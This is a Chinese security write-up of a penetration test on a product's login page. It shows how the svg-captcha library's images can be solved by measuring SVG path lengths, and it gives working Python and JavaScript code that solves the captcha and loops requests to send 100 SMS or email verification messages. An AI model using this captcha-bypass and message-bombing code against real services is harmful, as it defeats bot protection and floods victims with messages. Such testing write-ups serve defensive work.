一次验证码安全测试

华盟原创文章投稿奖励计划

文章来源:网友投稿

文章作者:XD0ne

背景

最近在对某产品进行安全测试时,在对登录功能模块的逻辑漏洞进行检测时,在验证码检测发现一定的安全缺陷。

详情

不安全的验证码

在该产品的登录功能处存在忘记密码和注册子功能,这两个子功能都有发送短信验证码和手机验证码以及在图像验证码。其中图像类型验证码如下:

一次验证码安全测试

 

刷新验证码收到的response如下:

一次验证码安全测试

 

可知该验证码是svg验证码,该验证码号称因为是svg格式所以想要使用打码平台进行识别需要再转成图像文件格式然后在识别。但是该svg-captcha验证码项目因为其设计上的缺陷,导致其可被工具百分百识别。具体破解详情可以看该验证码项目的issus,复现一下,十分有意思。

根据上面的验证码图片,简单描述就是该验证码的svg文件由5个部分组成,其中四个为验证码字符,另一个为干扰线,其中不同字符的在在svg中的长度也不同,所以可以计算svg中每部分的长度来确定其是什么字符。但是不同字体以及其他的配置会导致长度不一样,所以在不同场景下要针对性的去计算出每个字符对应的长度。

验证码破解

这个图就是默认的字体,但是我在使用公开的node js破解代码代码时出现不能百分百破解的情况。

一次验证码安全测试

 

对比svg文件时发现,虽然本次产品使用的是svg的默认字体,但是在其他的配置参数并不是默认的,通过反复比较,调整参数,对比获取的验证码图片和我们生成的验证码图片如下:

 一次验证码安全测试

使用PS对比,两个图可完全重合,确保参数没有问题:

一次验证码安全测试

 

找到的参数如下:

const cap = svgCaptcha('njsc',{
width: 100,
height: 40,
fontSize:50
})

由此,我们可以按照上面的配置去生成验证码,求出字符长度和字符的对应表。

createdata.js该文件就一个函数,接收四位字符串的输入,根据该输入生成指定的验证码。


function getData(csvText){
var svgCaptcha = require('svg-captcha');
const cap = svgCaptcha(csvText,{
width: 100,
height: 40,
fontSize:50
})
//console.log(cap)
return cap//,cap.data
}
xxx.py改文件用来生成字符与长度的对应表。
import requests
import execjs
import re
 
# 第一部分,刷新获取验证码,从返回包中获取验证码id和验证码svg文件
def GetCode(s):
    with open("./creatcode.js", 'r', encoding ='utf-8') as f:
        content = f.read() #读取js文件的全部内容到content变量中
    ctx = execjs.compile(content)
    jscode = 'getData("{}")'.format(s)
    text= ctx.eval(jscode)
    return text
 
for i in ('1234567890qazwsxedcrfvtgbyhnujmikolpQAZWSXEDCRFVTGBYHNUJMIKOLP'):
    flag = 4*i
    cap_img = GetCode(flag) # 验证码svg文件
    path_list = re.findall('<path.*?/>', str(cap_img))
    for x in path_list:
        if len(x)>500:
            with open("map.txt","a") as f:
                f.write(str(i) + " " + str(len(x)) + "\n" )

获得字符长度对应表之后,可能会出现不同字符长度相同的情况,这个时候可以根据其他特征去区分一下就行,比如通过获取绘制过程中最小最大的x轴y轴的坐标来区分。例子可以看node js破解代码的方法。

由于svg验证码存在的设计缺陷,我们可以用计算好的对应表去破解该验证码。很多人会说可以用打码平台也可以解决这类图像验证码的问题,但是其速度肯定远远比不上这里的简单的计算,识别是毫秒级的而且不需要接入第三方、本地即可。

任意手机短信/邮箱邮件轰炸

因为我们测试的是登录模块的注册功能,所以很可能存在任意手机短信/邮箱邮件轰炸漏洞,只要绕过图像验证码即可。测试的逻辑过程如下:

1.发送一个刷新验证码的包,从返回包中获取验证码id和验证码svg文件

2. svg文件使用公开的node js破解代码识别验证码,将其中的字符对应表换成我们自己训练的。

3. 解密的验证码和验证码id传给发送邮件的请求包,发送请求。除去已经下好的node js破解文件,把index.js换成自己的map表,自己写了两个部分,一个Python文件,主要负责进行发包收包,一个是js文件,进行验证码识别。

code.js
function getData(csvText){   //接收Python发过来的svg文件
csvText = csvText.replace(/\*/g,"\"")   //这里应该用编码来解决符合问题的
console.log(csvText)
const { recognize } = require('./index') //调用index进行验证码识别
const text = recognize(csvText) 
return text
}
code.py
import requests
import execjs
 
# 第一部分,刷新获取验证码,从返回包中获取验证码id和验证码svg文件
def GetCode():
    while True:
        RefreshCode = requests.get('xx.xx') 
        captcha_key = RefreshCode.json()["captcha_key"]
        captcha_img = RefreshCode.json()["captcha_img"]
        # 调用js破解验证码
        with open("./pwc.js", 'r', encoding ='utf-8') as f:
            content = f.read() #读取js文件的全部内容到content变量中
        ctx = execjs.compile(content)
        captcha_img = captcha_img.replace("\"","*")
        jscode = 'getData("{}")'.format(captcha_img)
        captcha = ctx.eval(jscode)
        if len(captcha) == 4:   #确保都匹配出来了
            break
    return captcha_key,captcha
 
for i in range(0,100):
    key,code = GetCode()
    POSTHeader = {
"Pragma": "no-cache",
"Cache-Control": "no-cache",
"Accept": "application/json, text/javascript, */*; q=0.01",
}
 
    POSTData = {
'captcha_key': key,
'captcha' : code,
'email': 'x@xx.com',
}
    SentEmailURL = 'xxx'
    Cookie = {"Cookie":''}
    SentEmil = requests.post(SentEmailURL,headers=POSTHeader,data=POSTData,cookies=Cookie)
    print(SentEmil.text)

测试结果如下图:

一次验证码安全测试

 

收到的短信验证码:

 一次验证码安全测试

经过测试,可以看到虽然会有提示请求被阻止,但还是可以继续发送短信验证码,最后测试几分钟内发送了100条短信。而邮箱验证码设置在10分钟内同一邮箱账号只发送20次,20次之前也会提示次数超过限制。

总结

这次主要是想去测一测短信轰炸的,然后顺道发现了不安全的验证码问题,两个都是验证码的逻辑漏洞,一个是图片验证码设计的缺陷,一个是短信验证码没有设置阈值以及频率。

本文原创,作者:张,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/271412.html

发表评论